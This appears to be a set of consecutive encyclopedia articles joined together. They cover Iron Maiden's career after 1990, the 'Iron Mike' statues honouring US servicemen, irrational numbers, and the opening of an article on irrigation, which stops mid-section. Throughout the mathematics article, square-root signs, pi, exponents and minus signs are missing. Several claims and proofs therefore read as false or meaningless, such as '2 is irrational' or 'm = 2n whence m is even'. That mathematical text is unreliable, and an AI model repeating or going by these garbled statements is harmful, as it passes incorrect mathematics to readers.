          In 1990, to close Iron Maiden's first ten years of releasing singles, Iron Maiden released The First Ten Years, a series of ten CDs and double 12" vinyls. Between February 24 and April 28, 1990, the individual parts were released one-by-one, and each contains two of Iron Maiden's singles, including the B-sides.


          


          Upheaval (19901994)


          In 1989, after touring with Iron Maiden, guitarist Adrian Smith released a solo album with his band ASAP entitled Silver and Gold. In 1990, vocalist Bruce Dickinson launched a solo career with former Gillan guitarist Janick Gers, releasing Tattooed Millionaire. The band had spent 1989 off, and Dickinson took this time to work on the album. Though seen as good creations at the time, these solo albums would eventually inspire both band members to leave later on.


          Soon after work on a new album began, Adrian Smith was let go due to lack of enthusiasm. Bruce Dickinson's solo project guitarist Janick Gers was chosen to replace Smith - the first new member in seven years. When Dickinson left Maiden in 1993, he would later regroup with Smith.


          In 1990, Iron Maiden released the album No Prayer for the Dying. This album had a raw sound compared to their recent releases and featured one last song co-written by Adrian Smith, "Hooks in You", despite Smith's having left the band prior to the recording of the album.


          The band obtained their first (and to date, only) UK Singles Chart number one hit single with " Bring Your Daughter... to the Slaughter", originally recorded by Dickinson for the soundtrack to A Nightmare on Elm Street 5: The Dream Child. It was released on December 24, 1990, and was one of the first records to be released on several different formats with different B-sides. The single holds the record for being the fastest release straight in to number one and straight out of the charts again over the following couple of weeks.


          Dickinson performed a solo tour in 1991 before returning to the studio with Iron Maiden for the album Fear of the Dark. Released in 1992, the album was noticeably longer (due to this being Iron Maiden's first album recorded for CD rather than LP) and had several songs which became fan favourites, such as the title track and "Afraid to Shoot Strangers". The disc also featured " Wasting Love," one of the band's softer songs, and " From Here to Eternity," the third installment of the 'Charlotte the Harlot' narrative (although some fans will argue that 'Hooks in You' is actually the third installment, making ' From Here to Eternity' the fourth). The album featured the first songwriting by Gers, and no collaboration at all between Harris and Dickinson on songs.


          In 1993, Bruce Dickinson left the band to further pursue his solo career. However, Dickinson agreed to stay with the band for a farewell tour and two live albums (later re-released in one package). The first, A Real Live One, featured songs from 1986 to 1992, and was released in March 1993. The second, A Real Dead One, featured songs from 1975 to 1984, and was released after Dickinson had left the band. He played his farewell show with Iron Maiden on August 28, 1993. The show was filmed, broadcast by the BBC, and released on video under the name Raising Hell.


          


          Winds of change (1994-1999)


          In 1994 the band auditioned hundreds of vocalists, both known and unknown before choosing Blaze Bayley, formerly of the band Wolfsbane. Bayley had a different vocal style from his predecessor, which ultimately received a mixed reception among fans.


          After a two year hiatus (and three year hiatus from recording - a record for the band at the time) Iron Maiden returned in 1995. Releasing The X Factor, the band faced their lowest chart position since 1981 for an album in the UK (debuting at number 8). Chief songwriter Harris was experiencing personal problems at the time with the break-up of his marriage, and many fans and critics feel the album's sound is a reflection of this.


          The album included the 11-minute epic "Sign of the Cross", the band's longest song since "Rime of the Ancient Mariner". It also included " Man on the Edge", based on the movie Falling Down. The band toured for the rest of 1995 and 1996, before stopping to release The Best of the Beast. The band's first compilation, it included the single " Virus", a new song.


          The band returned to the studio for Virtual XI, released in 1998. Chart positions of the album were the band's lowest to date, failing to reach the one million mark in worldwide sales for the first time in Iron Maiden's history. At the same time, Steve Harris assisted in remastering the entire discography of Iron Maiden up to Live at Donington (which was given a mainstream release for the first time) and released the set.


          


          Reunion (19992005)


          In February 1999, Bayley left the band by mutual consent. At the same time, the band shocked their fans when they announced that both Bruce Dickinson and guitarist Adrian Smith were rejoining the band, and that Janick Gers would remain. Iron Maiden now had three guitarists and a hugely successful reunion tour, The Ed Hunter Tour. This tour also supported the band's newly released computer game Ed Hunter.


          

          Iron Maiden's first studio work after the reunion with Bruce Dickinson and Adrian Smith came in the form of 2000's Brave New World. The album was met with much critical acclaim. Thematic influences continued with " The Wicker Man"based on the 1973 British cult film of the same name, and "Brave New World"title taken from the novel of the same name.


          The world tour that followed consisted of well over 100 dates and culminated on 19 January 2001 with a show at the Rock in Rio festival in Brazil, where Iron Maiden played to an audience of around 250,000. This performance was recorded and subsequently released on CD and DVD in March 2002 under the name Rock in Rio.


          In 2003, Iron Maiden released Dance of Death. As usual, historical and literary influences continued"Montsegur" in particular being about the Cathar stronghold conquered in 1244 and " Paschendale" relating to a significant battle during World War I.


          Their performance at Westfalenhalle in Dortmund, Germany, as part of the supporting tour, was recorded and released in August 2005 as a live album and DVD, entitled Death on the Road.


          In 2005, the band announced a tour to commemorate the 25th anniversary of the release of their first album, Iron Maiden, and the 30th anniversary of their formation. The tour also was in support of the 2004 DVD entitled The Early Days and as such during the tour they only played material from their first four albums. As part of the celebration of their early days, the "Number of the Beast" single was re-released, which went straight to number 3 in the UK Singles Chart.


          At Iron Maiden's last Ozzfest performance (August 20, 2005 at the Hyundai Pavilion at Glen Helen in San Bernardino, CA), Sharon Osbourne interrupted their performance by turning off the PA system and chanting: "Ozzy! Ozzy!".


          The band completed this tour by headlining the Reading and Leeds weekend festivals on the 26th and 28 August, 2005. For the second time, the band played a charity show for former drummer Clive Burr's Clive Burr MS Trust Fund charity.


          


          Recent years (2006-present)


          In Autumn 2006, Iron Maiden released A Matter of Life and Death. While the album is not a concept album, war and religion are recurring themes in the lyrics throughout, as well as in the album's artwork.


          A successful North American and European tour followed, during which they played the album in its entirety, a first for the band. The band have announced that a live album recorded from this tour will be released. It was during this tour in 2007 that Iron Maiden played in Bangalore, India for the first time in front of 35,000 fans, making them the first mainstream heavy metal act to play in the country. The band also headlined The Desert Rock Festival in Dubai selling out the festival with a crowd of 20,000.


          Iron Maiden recorded a live session at Abbey Road Studios for Live from Abbey Road in December 2006. Their performance was screened in an episode alongside sessions with Natasha Bedingfield and Gipsy Kings in March 2007 on Channel 4 (UK) and June 2007 on the Sundance Channel (USA).


          In November 2006, Iron Maiden and manager Rod Smallwood announced that they were cutting off their 27 year old ties with Sanctuary Music and have started a new company named Phantom Music Management. However, no other significant changes were made.


          In 2007 The band played in Dubai for the annual Dubai Desert Rock Festival.


          In 2007, the band confirmed several major festival appearances worldwide for the year to form the second leg of the A Matter of Life and Death tour, now dubbed A Matter of the Beast to celebrate the 25th anniversary of The Number of the Beast album. The band announced plans to play 5 songs from A Matter of Life and Death and 5 from The Number of the Beast as part of their set but the band played only 4 songs from The Number of the Beast. On the June 24 they ended the tour with a one-off performance at London's Brixton Academy in aid of The Clive Burr MS Trust fund.


          On September 5, 2007, the band announced their Somewhere Back in Time World Tour., which ties in with the DVD release of their Live After Death album. The setlist for the tour will consists of hits from the 80s, with a specific focus on the Powerslave era for set design. The tour started in Mumbai, India on February 1, 2008 where the band played to an audience of about 30,000. The first leg of the tour consisted of 24 concerts in 21 cities, travelling over 50,000 miles in the bands own chartered plane "Ed Force One" - the band played their first ever concerts in Costa Rica and Colombia and their first Australian show since 1992. On May 12th, the band released a new compilation album, titled Somewhere Back In Time - The Best Of: 1980-1989. This album contains a selection of tracks from their 1980 self-titled debut to 1988's Seventh Son of a Seventh Son including several live versions from Live After Death.


          This tour also marks the first Western Canada leg in 20 years, on which all Canadian dates sold out within a couple of days. With the sole UK headline show at Twickenham Stadium, this tour also marks the first ever stadium headlining show in the UK by the band.


          During the Somewhere Back In Time tour, Bruce Dickinson has said that there are plans for Iron Maiden to write and record a new album, most likely to come out next year. Dickinson has also been informing audiences that future tours will feature more recent Iron Maiden material.
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          Image and legacy


          Iron Maiden were ranked #24 in VH1's "100 Greatest Artists of Hard Rock", and in Kerrang! magazine were ranked as the most important band of the last 25 years. The band were ranked fourth on MTV's "Top 10 Greatest Heavy Metal Bands of All Time". Iron Maiden were named the third best metal band of all time on VH1 Classic: Top 20 Metal Bands. The band also won the Ivor Novello Award for international achievement in 2002. The band was also inducted into the Hollywood RockWalk during their tour in the United States in 2005.


          Iron Maiden's mascot, Eddie, is a perennial fixture in the band's sci-fi and horror-influenced album cover art, as well as in live shows. Eddie was drawn by Derek Riggs until 1992, although there have been various incarnations by numerous artists including Melvyn Grant. Eddie is also featured in a first-person shooter video game from the band, Ed Hunter, as well as numerous books, graphic comics and band-related merchandise.


          In 2008, Kerrang! released an album, dubbed Maiden Heaven: A Tribute to Iron Maiden, comprised of Iron Maiden cover songs played by artists such as Metallica, Trivium, Machine Head, Coheed and Cambria and others who were influenced by Iron Maiden throughout their careers.


          


          Discography


          
            	Iron Maiden (1980)


            	Killers (1981)


            	The Number of the Beast (1982)


            	Piece of Mind (1983)


            	Powerslave (1984)


            	Somewhere in Time (1986)


            	Seventh Son of a Seventh Son (1988)


            	No Prayer for the Dying (1990)


            	Fear of the Dark (1992)


            	The X Factor (1995)


            	Virtual XI (1998)


            	Brave New World (2000)


            	Dance of Death (2003)


            	A Matter of Life and Death (2006)

          


          


          Audio


          
            	" Run to the Hills" Listen  A top ten hit in the UK.


            	"Caught Somewhere in Time" Listen  This clip showcases the band's trademark twin guitar harmonisation, and the "galloping" bass/guitar.


            	"Sign of the Cross" Listen  The band's third recording vocalist, Blaze Bayley, singing on the opening track from The X Factor album.


            	"Brave New World" Listen  Bruce Dickinson and Adrian Smith return in 1999 to critical acclaim.

          


          


          Band members


          


          Current members


          
            	Bruce Dickinson  lead vocals (19811993, 1999present)


            	Dave Murray  guitars (19761977, 1977present)


            	Adrian Smith  guitars, backing vocals (19801990, 1999present)


            	Janick Gers  guitars (1990present)


            	Steve Harris  bass, keyboards, backing vocals (1975present)


            	Nicko McBrain  drums, percussion (1982present)

          


          with


          
            	Michael Kenney  keyboards (live) (1988present)
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          Iron Mike is the de facto name of various monuments commemorating servicemen of the United States military. The term "Iron Mike" is uniquely American slang used to refer to men who are especially tough, brave, and inspiring. Because the use of the slang term was popular in the first half of the 20th century, many statues from that period acquired the Iron Mike nickname, and over the generations the artists' titles were largely forgotten. Even official military publications and classroom texts tend to prefer the nickname to the original titles.


          


          Quantico, Virginia
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          Quanticos Iron Mike is officially titled Crusading for Right. It depicts a World War I Marine holding a 1903 Springfield rifle, wearing a pack with a bayonet.


          At the end of the war, US Army General John J. Pershing commissioned the French sculptor Charles Raphael Peyre (sometimes Raphael Charles Peyne) to commemorate the service of the US Armys " doughboys". The sculptor, unaware of the differences between the branches of service, used a Marine private as a model and included the Eagle, Globe and Anchor insignia on the helmet. When Pershing saw the finished product, he demanded that the Marine Corps insignia be removed. The artist would not allow his work to be censored, so the Army refused to buy the statue.


          Finally, Marine Corps General Smedley Butler raised enough money to buy the statue and had it installed in front of the headquarters building at Marine Corps Base Quantico, VA. The statue was begun in 1918 and first exhibited at the Exposition des Beaux Arts of the Grand Palaise des Champs-Elysees, in Paris in May 1919. Marine Officers and Enlisted donated money to purchase the statue, and it was sited in front of the Base Headquarters, Building 1019, in Quantico, Virginia, some 75 miles from DC and a bit off the tourist trail. Three tablets were erected in the memory of the officers and men of the 6th Machine Gun Battalion, 5th Regiment and 6th Regiment, United States Marines, "who gave their lives for their country in the World War in 1918" by the Thomas Roberts Reath, Marine Post No. 186, American Legion, on November 10, 1921. On December 8, 1921, the statue was dedicated.


          Today, a recreation of this statue stands in front of the National Museum of the Marine Corps, outside the Quantico base. On that statue's base is the name "Iron Mike". The original statue remains in front of Butler Hall, home of the Marine Corps Training and Education Command.


          


          Belleau, France
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          The Iron Mike at the Aisne-Marne American Cemetery and Memorial at Belleau Wood battlefield is a bronze relief on black marble, simply entitled The Marine Memorial. It was sculpted by Felix Weihs de Weldon, the artist who later designed the giant Marine Corps War Memorial in Washington, D.C. The monument was erected in the heart of the forest to honour the 5th and 6th Marine Regiments of the 4th Marine Brigade which fought there for twenty days in June of 1918. Below the statue is a commemorative plaque with a large Eagle, Globe, and Anchor.


          The battle was the bloodiest of the U.S. Marine Corps' history at that point, and the 5th and 6th Regiments were awarded the French Fourragre and Croix de Guerre. Following the war, the French government renamed the forest "Wood of the Marine Brigade," and this Iron Mike was dedicated there in 1923.


          


          Parris Island, South Carolina
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          Parris Island's Iron Mike is depicted carrying a Maxim machine gun over his right shoulder and an M1911 pistol in his raised left hand, created as a memorial to all of the Parris Island graduates who were killed during WWI.


          The statue itself is approximately life-sized, standing about eight feet high from the heel of his boot to the muzzle of his pistol, and is mounted on a five-foot granite base. It was sculpted from solid bronze by Robert Ingersoll Aitken, the same sculptor who created the pediment on the United States Supreme Court building. Officially entitled Monument to U.S. Marines, this Iron Mike was dedicated in 1924 in a ceremony presided over by Commandant John A. Lejeune. Due to changes and construction around Parris Island, Iron Mike was relocated in 1941 and it now stands in front of the Parris Island Headquarters and Service Battalion Barracks.


          The bronze plaque, mounted on the base, reads: "In memory of the men of Parris Island who gave their lives in the World War, erected by their comrades."


          


          Fort Bragg, North Carolina
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          Fort Braggs The Airborne Trooper is the newest (and perhaps best known) Iron Mike statue. Sculpted by Leah Heibert in 1960 and 1961, using Sergeant Major James Runyon as a model, the statue depicts a World War II-era Airborne trooper with a Thompson submachine gun at the ready. The statue was the vision of the XVIII Airborne Corps Commander, LTG Robert F. Sink. The statue was dedicated to all paratroopers; past, present and future". It was not named for any one man or unit. Fort Bragg is the home of the XVIII Airborne Corps and is known as the "Home of Airborne". The 82nd Airborne is part of the XVIII Airborne Corps and is also located at Fort Bragg. Originally installed at the southern entrance on Bragg Boulevard, it was moved to the traffic circle in front of the post headquarters in 1979 to prevent vandalism and increase visibility.


          Fort Braggs original Iron Mike stood 16 feet, 4 inches tall from boot heel to the top of his helmet and weighed 3,235 pounds. The original statue was made from polyester strips dipped in epoxy and stretched over a steel frame. Due to deterioration, it was replaced in 2005 with a bronze version. The original was to be refurbished at Simmons Army Airfield and moved to the Airborne & Special Operations Museum in Fayetteville, North Carolina.


          A digital model of the original was created and used as a guide for the new version to ensure faithful replication of Heibert's design. A ceremony to dedicate the new version was held September 23, 2005.


          President George W. Bush spoke in front of the statue on July 4, 2006.


          


          University of Minnesota, Twin Cities
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          The University of Minnesota's Twin Cities campus also has a statue known as "Iron Mike." Designed by Theo Alice Ruggles Kitson and installed in 1906, the statue stands in front of the armory at 15 Church Street. Also known as the "Student Soldier Memorial", this Iron Mike is a monument to alumni who served in the Spanish-American War. The statue is 9 feet tall and stands on a 6-foot granite base, depicting a soldier clad in a period uniform with a campaign hat and a Krag-Jrgensen rifle.


          The actual name of the sculpture is The Hiker. Thirty-nine copies of Kitson's "Hiker" are still in existence, spread across the United States from Deering Oaks Park in Portland, Maine to Capitol Park in Sacramento, California. The University of Minnesota's "Iron Mike" is one of the oldest "Hikers" in the U.S., possibly rivalled by one in Allentown, Pennsylvania.


          


          Others


          There are many other similar statues throughout the United States, most of them World War I monuments. The most well-known is a sculpture by Ernest Moore Viquesney entitled Spirit of the American Doughboy. While the original statue design itself never received the nickname "Iron Mike", residents of some of the locales in which the copies can be found refer to their local monuments as such. There is also a statue in Fort Lewis, WA.


          The U.S. Army Infantry Centre at Fort Benning has a World War II monument entitled Follow Me which is officially called "Iron Mike" by the Infantry School.


          Marine Corps Logistics Base, Barstow California, has a ridge that is used during training that is nicknamed "Iron Mike" due to the steepness of the terrain and determination it takes to run up without stopping.
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          In mathematics, an irrational number is any real number that is not a rational number  that is, it is a number which cannot be expressed as a fraction m/n, where m and n are integers, with n non-zero. Informally, this means numbers that cannot be represented as simple fractions. It can be deduced that they also cannot be represented as terminating or repeating decimals, but the idea is more profound than that. While it may seem strange at first hearing, almost all real numbers are irrational, in a sense which is defined more precisely below. Perhaps the most well known irrational numbers are  and 2 .


          When the ratio of lengths of two line segments is irrational, the line segments are also described as being incommensurable, meaning they share no measure in common. A measure of a line segment I in this sense is a line segment J that "measures" I in the sense that some whole number of copies of J laid end-to-end occupy the same length as I.
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          History


          The first proof of the existence of irrational numbers is usually attributed to Hippasus of Metapontum, a Pythagorean who probably discovered them while identifying sides of the pentagram. However Pythagoras believed in the absoluteness of numbers, and could not accept the existence of irrational numbers. He could not disprove their existence through logic, but his beliefs would not accept the existence of irrational numbers and so, as legend had it, he had Hippasus drowned. Theodorus of Cyrene proved the irrationality of the surds of whole numbers up to 17, but stopped there probably because the algebra he used couldn't be applied to the square root of 17. It wasn't until Eudoxus developed a theory of irrational ratios that a strong mathematical foundation of irrational numbers was created. Euclid's Elements Book 10 is dedicated to classification of irrational magnitudes.


          The sixteenth century saw the acceptance of negative, integral and fractional numbers. The seventeenth century saw decimal fractions with the modern notation quite generally used by mathematicians. The next hundred years saw imaginary numbers become a powerful tool in the hands of Abraham de Moivre, and especially of Leonhard Euler. The completion of the theory of complex numbers in the nineteenth century entailed the differentiation of irrationals into algebraic and transcendental numbers, the proof of the existence of transcendental numbers, and the resurgence of the scientific study of the theory of irrationals, largely ignored since Euclid. The year 1872 saw the publication of the theories of Karl Weierstrass (by his pupil Kossak), Heine ( Crelle, 74), Georg Cantor (Annalen, 5), and Richard Dedekind. Mray had taken in 1869 the same point of departure as Heine, but the theory is generally referred to the year 1872. Weierstrass's method has been completely set forth by Salvatore Pincherle in 1880, and Dedekind's has received additional prominence through the author's later work (1888) and the recent endorsement by Paul Tannery (1894). Weierstrass, Cantor, and Heine base their theories on infinite series, while Dedekind founds his on the idea of a cut (Schnitt) in the system of real numbers, separating all rational numbers into two groups having certain characteristic properties. The subject has received later contributions at the hands of Weierstrass, Kronecker (Crelle, 101), and Mray.


          Continued fractions, closely related to irrational numbers (and due to Cataldi, 1613), received attention at the hands of Euler, and at the opening of the nineteenth century were brought into prominence through the writings of Lagrange. Dirichlet also added to the general theory, as have numerous contributors to the applications of the subject.


          Lambert proved (1761) that  cannot be rational, and that en is irrational if n is rational (unless n = 0). While Lambert's proof is often said to be incomplete, modern assessments support it as satisfactory, and in fact for its time unusually rigorous. Legendre (1794), after introducing the Bessel-Clifford function, provided a proof to show that 2 is irrational, whence it follows immediately that  is irrational also. The existence of transcendental numbers was first established by Liouville (1844, 1851). Later, Georg Cantor (1873) proved their existence by a different method, that showed that every interval in the reals contains transcendental numbers. Charles Hermite (1873) first proved e transcendental, and Ferdinand von Lindemann (1882), starting from Hermite's conclusions, showed the same for . Lindemann's proof was much simplified by Weierstrass (1885), still further by David Hilbert (1893), and was finally made elementary by Adolf Hurwitz and Paul Albert Gordan.


          


          Example proofs


          


          The square root of 2


          The irrationality of the square root of 2 may be proved by assuming it is rational and inferring a contradiction, called an argument by reductio ad absurdum. The following argument appeals twice to the fact that the square of an odd integer is always odd.


          If 2 is rational it has the form m/n for integers m, n not both even. Then m = 2n whence m is even, say m = 2p. Thus 4p = 2n so 2p = n whence n is also even, a contradiction .


          


          Another proof


          The following reductio ad absurdum argument is less well-known. It uses the additional information 2 > 1.


          
            	Assume that 2 is a rational number. This would mean that there exist integers m and n with n  0 such that m/n = 2.


            	Then 2 can also be written as an irreducible fraction m/n with positive integers, because 2 > 0.


            	Then [image: \sqrt{2} = \frac{\sqrt{2}\cdot n(\sqrt{2}-1)}{n(\sqrt{2}-1)} = \frac{2n-\sqrt{2}n}{\sqrt{2}n-n} = \frac{2n-m}{m-n}], because [image: \sqrt{2}n=m].


            	Since 2 > 1, it follows that m > n, which in turn implies that m > 2n  m.


            	So the fraction m/n for 2, which according to (2) is already in lowest terms, is represented by (3) in strictly lower terms. This is a contradiction, so the assumption that 2 is rational must be false.

          


          Similarly, assume an isosceles right triangle whose leg and hypotenuse have respective integer lengths n and m. By the Pythagorean theorem, the ratio m/n equals 2. It is possible to construct by a classic compass and straightedge construction a smaller isosceles right triangle whose leg and hypotenuse have respective lengths mn and 2nm. That construction proves the irrationality of 2 by the kind of method that was employed by ancient Greek geometers.


          


          The square root of 10 and beyond


          If 10 is rational, say m/n, then m2 = 10n2. However, in decimal notation, every square ends in an even number of zeros. So then m2 and 10n2 in decimal must end in respectively an even and odd number of zeros, a contradiction.


          More generally, in any radix r that is not itself a square, every square ends in an even numbers of zeros, whence 10r in radix r is irrational, that is, r is irrational. It follows that the only integers with rational square roots are squares. As a case in point, 2 is not a square, and 2 in binary is 102. (Note the convention of subscripting nondecimal numerals with their radix, to avoid ambiguity. As part of that convention the subscripts are understood to be in decimal, not being subscripted themselves.)


          To go even further, we can consider mk = r  nk for any integers r and k. If r  uk for any integer u, then r has at least one prime factor p raised to an exponent that is not divisible by k. As all the exponents in the prime factorization of mk are divisible by k, for the equation to hold, the prime factorization of nk must contain p raised to a power that is also not divisible by k. But this is clearly impossible. Thus, for any integers r and k, kr is irrational if r  uk for any integer u. This result also follows from the fact that raising a non-integral rational number to an integral power can never equal an integer besides 1.


          


          The golden ratio


          When a line segment is divided into two disjoint subsegments in such a way that the ratio of the whole to the longer part equals the ratio of the longer part to the shorter part, then that ratio is the golden ratio, equal to


          
            	[image: \varphi={1+\sqrt{5} \over 2}.]

          


          Assume this is a rational number n/m in lowest terms. Take n to be the length of the whole and m the length of the longer part. Then n > m, and the length of the shorter part is nm. Then we have


          
            	[image: {n \over m}={\mathrm{whole} \over \mathrm{longer}\ \mathrm{part}} ={\mathrm{longer}\ \mathrm{part} \over \mathrm{shorter}\ \mathrm{part}} ={m \over n-m}.]

          


          However, this puts a fraction already in lowest terms into lower termsa contradiction. Therefore the initial assumption, that the golden ratio is rational, is false.


          


          Logarithms


          Perhaps the numbers most easily proved to be irrational are certain logarithms. Here is a proof by reductio ad absurdum that log23 is irrational:


          
            	Assume log23 is rational. For some positive integers m and n, we have log23 = m/n.


            	It follows that 2m/n = 3.


            	Raise each side to the n power, find 2m = 3n.


            	But 2 to any integer power greater than 0 is even (because at least one of its prime factors is 2) and 3 to any integer power greater than 0 is odd (because none of its prime factors is 2), so the original assumption is false.

          


          Cases such as log102 can be treated similarly.


          


          Transcendental and algebraic irrationals


          Almost all irrational numbers are transcendental and all transcendental numbers are irrational: the article on transcendental numbers lists several examples. er and r are irrational if r  0 is rational; e is also irrational.


          Another way to construct irrational numbers is as irrational algebraic numbers, i.e. as zeros of polynomials with integer coefficients: start with a polynomial equation


          
            	p(x) = an xn + an-1 xn1 + ... + a1 x + a0 = 0

          


          where the coefficients ai are integers. Suppose you know that there exists some real number x with p(x) = 0 (for instance if n is odd and an is non-zero, then because of the intermediate value theorem). The only possible rational roots of this polynomial equation are of the form r/s where r is a divisor of a0 and s is a divisor of an; there are only finitely many such candidates which you can all check by hand. If neither of them is a root of p, then x must be irrational. For example, this technique can be used to show that x = (21/2 + 1)1/3 is irrational: we have (x3  1)2 = 2 and hence x6  2x3  1 = 0, and this latter polynomial does not have any rational roots (the only candidates to check are 1).


          Because the algebraic numbers form a field, many irrational numbers can be constructed by combining transcendental and algebraic numbers. For example 3+2,  + 2 and e3 are irrational (and even transcendental).


          


          Decimal expansions


          The decimal expansion of an irrational number never repeats or terminates, unlike a rational number.


          To show this, suppose we divide integers n by m (where m is nonzero). When long division is applied to the division of n by m, only m remainders are possible. If 0 appears as a remainder, the decimal expansion terminates. If 0 never occurs, then the algorithm can run at most m  1 steps without using any remainder more than once. After that, a remainder must recur, and then the decimal expansion repeats!


          Conversely, suppose we are faced with a recurring decimal, we can prove that it is a fraction of two integers. For example:


          
            	[image: A=0.7\,162\,162\,162\,\dots]

          


          Here the length of the repitend is 3. We multiply by 103:


          
            	[image: 1000A=7\,16.2\,162\,162\,\dots]

          


          Note that since we multiplied by 10 to the power of the length of the repeating part, we shifted the digits to the left of the decimal point by exactly that many positions. Therefore, the tail end of 1000A matches the tail end of A exactly. Here, both 1000A and A have repeating 162 at the end.


          Therefore, when we subtract A from both sides, the tail end of 1000A cancels out of the tail end of A:


          
            	[image: 999A=715.5\,.]

          


          Then


          
            	[image: A=\frac{715.5}{999}=\frac{7155}{9990} = \frac{135 \times 53}{135 \times 74} = \frac{53}{74},]

          


          which is a quotient of integers and therefore a rational number.


          Open questions


          It is not known whether  + e or   e is irrational or not. In fact, there is no pair of non-zero integers m and n for which it is known whether m + ne is irrational or not. Moreover, it is not known whether the set {, e} is algebraically independent over Q.


          It is not known whether 2e, e, 2, Catalan's constant, or the Euler-Mascheroni gamma constant  are irrational.


          


          The set of all irrationals


          Since the reals form an uncountable set of which the rationals are a countable subset, the complementary set of irrationals is uncountable.


          Under the usual ( Euclidean) distance function d(x,y) = |xy|, the real numbers are a metric space and hence also a topological space. Restricting the Euclidean distance function gives the irrationals the structure of a metric space. Since the subspace of irrationals is not closed, the induced metric is not complete. However, being a G-delta set -- i.e., a countable intersection of open subsets -- in a complete metric space, the space of irrationals is topologically complete: that is, there is a metric on the irrationals inducing the same topology as the restriction of the Euclidean metric, but with respect to which the irrationals are complete. One can see this without knowing the aforementioned fact about G-delta sets: the continued fraction expansion of an irrational number defines a homeomorphism from the space of irrationals to the space of all sequences of positive integers, which is easily seen to be completely metrizable.


          Furthermore, the set of all irrationals is a disconnected metric space.
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          Irrigation is the artificial application of water to the soil usually for assisting in growing crops. In crop production it is mainly used in dry areas and in periods of rainfall shortfalls, but also to protect plants against frost.


          Additionally irrigation helps to suppress weed growing in rice fields. In contrast, agriculture that relies only on direct rainfall is referred to as rain-fed farming. Irrigation is often studied together with drainage, which is the natural or artificial removal of surface and sub-surface water from a given area.


          Irrigation is also a term used in the Medical/Dental fields and refers to flushing and washing out anything with water or another liquid.


          
            [image: Irrigation in a field in New Jersey]

            
              Irrigation in a field in New Jersey
            

          


          


          History


          
            [image: Animal-powered irrigation, Upper Egypt, ca. 1840]

            
              Animal-powered irrigation, Upper Egypt, ca. 1840
            

          


          
            [image: An example of irrigation system common in Indian subcontinent. Artistic impression on the banks of Dal Lake, Kashmir, India.]

            
              An example of irrigation system common in Indian subcontinent. Artistic impression on the banks of Dal Lake, Kashmir, India.
            

          


          
            [image: Inside a karez tunnel at Turpan, China.]

            
              Inside a karez tunnel at Turpan, China.
            

          


          Archaeological investigation has identified evidence of irrigation in Mesopotamia and Egypt as far back as the 6th millennium BCE, where barley was grown in areas where the natural rainfall was insufficient to support such a crop.


          In the Zana Valley of the Andes Mountains in Peru, archaeologists found remains of three irrigation canals radiocarbon dated from the 4th millennium BCE, the 3rd millennium BCE and the 9th century CE. These canals are the earliest record of irrigation in the New World. Traces of a canal possibly dating from the 5th millennium BCE were found under the 4th millennium canal. Sophisticated irrigation and storage systems were developed by the Indus Valley Civilization in Pakistan and North India, including the reservoirs at Girnar in 3000 BCE and an early canal irrigation system from circa 2600 BCE. Large scale agriculture was practiced and an extensive network of canals was used for the purpose of irrigation.


          There is evidence of the ancient Egyptian pharaoh Amenemhet III in the twelfth dynasty (about 1800 BCE) using the natural lake of the Faiyum Oasis as a reservoir to store surpluses of water for use during the dry seasons, as the lake swelled annually as caused by the annual flooding of the Nile.


          The Qanats, developed in ancient Persia in about 800 BCE, are among the oldest known irrigation methods still in use today. They are now found in Asia, the middle east and north Africa. The system comprises a network of vertical wells and gently sloping tunnels driven into the sides of cliffs and steep hills to tap groundwater. The noria, a water wheel with clay pots around the rim powered by the flow of the stream (or by animals where the water source was still), was first brought into use at about this time, by Roman settlers in North Africa. By 150 BCE the pots were fitted with valves to allow smoother filling as they were forced into the water.


          The irrigation works of ancient Sri Lanka, the earliest dating from about 300 BCE, in the reign of King Pandukabhaya and under continuous development for the next thousand years, were one of the most complex irrigation systems of the ancient world. In addition to underground canals, the Sinhalese were the first to build completely artificial reservoirs to store water. The system was extensively restored and further extended during the reign of King Parakrama Bahu (1153  1186 CE).


          The oldest known hydraulic engineers of China were Sunshu Ao (6th century BCE) of the Spring and Autumn Period and Ximen Bao (5th century BCE) of the Warring States period, both of whom worked on large irrigation projects. In the Szechwan region belonging to the State of Qin of ancient China, the Dujiangyan Irrigation System was built in 256 BCE to irrigate an enormous area of farmland that today still supplies water. By the 1st century AD, during the Han Dynasty, the Chinese also used chain pumps that lifted water from lower elevation to higher elevation. These were powered by manual foot pedal, hydraulic waterwheels, or rotating mechanical wheels pulled by oxen. The water was used for public works of providing water for urban residential quarters and palace gardens, but mostly for irrigation of farmland canals and channels in the fields.


          In fifteenth century Korea the world's first water gauge, woo ryang gyae ( Korean: 우량계), was discovered in 1441 CE. The inventor was Jang Young Sil, a Korean engineer of the Choson Dynasty, under the active direction of the King, Se Jong. It was installed in irrigation tanks as part of a nationwide system to measure and collect rainfall for agricultural applications. With this instrument, planners and farmers could make better use of the information gathered in the survey.


          


          Present extent


          By the middle of the 20th century, the advent of diesel and electric motors led for the first time to systems that could pump groundwater out of major aquifers faster than it was recharged. This can lead to permanent loss of aquifer capacity, decreased water quality, ground subsidence, and other problems. The future of food production in such areas as the North China Plain, the Punjab, and the Great Plains of the US is threatened.


          At the global scale 2,788,000 km (689 million acres) of agricultural land was equipped with irrigation infrastructure around the year 2000. About 68% of the area equipped for irrigation is located in Asia, 17% in America, 9% in Europe, 5% in Africa and 1% in Oceania. The largest contiguous areas of high irrigation density are found in North India and Pakistan along the rivers Ganges and Indus, in the Hai He, Huang He and Yangtze basins in China, along the Nile river in Egypt and Sudan, in the Mississippi-Missouri river basin and in parts of California. Smaller irrigation areas are spread across almost all populated parts of the world.


          


          Types of irrigation


          
            [image: Basin flood irrigation of wheat]

            
              Basin flood irrigation of wheat
            

          


          Various types of irrigation techniques differ in how the water obtained from the source is distributed within the field. In general, the goal is to supply the entire field uniformly with water, so that each plant has the amount of water it needs, neither too much nor too little.


          


          Surface irrigation


          In surface irrigation systems water moves over and across the land by simple gravity flow in order to wet it and to infiltrate into the soil. Surface irrigation can be subdivided into furrow, borderstrip or basin irrigation. It is often called flood irrigation when the irrigation results in flooding or near flooding of the cultivated land. Historically, this has been the most common method of irrigating agricultural land.


          Where water levels from the irrigation source permit, the levels are controlled by dikes, usually plugged by soil. This is often seen in terraced rice fields (rice paddies), where the method is used to flood or control the level of water in each distinct field. In some cases, the water is pumped, or lifted by human or animal power to the level of the land.


          


          Localized irrigation


          
            [image: Spray Head]

            
              Spray Head
            

          


          Localized irrigation is a system where water is distributed under low pressure through a piped network, in a pre-determined pattern, and applied as a small discharge to each plant or adjacent to it. Drip irrigation, spray or micro-sprinkler irrigation and bubbler irrigation belong to this category of irrigation methods.


          


          Drip Irrigation


          
            [image: Drip Irrigation - A dripper in action]

            
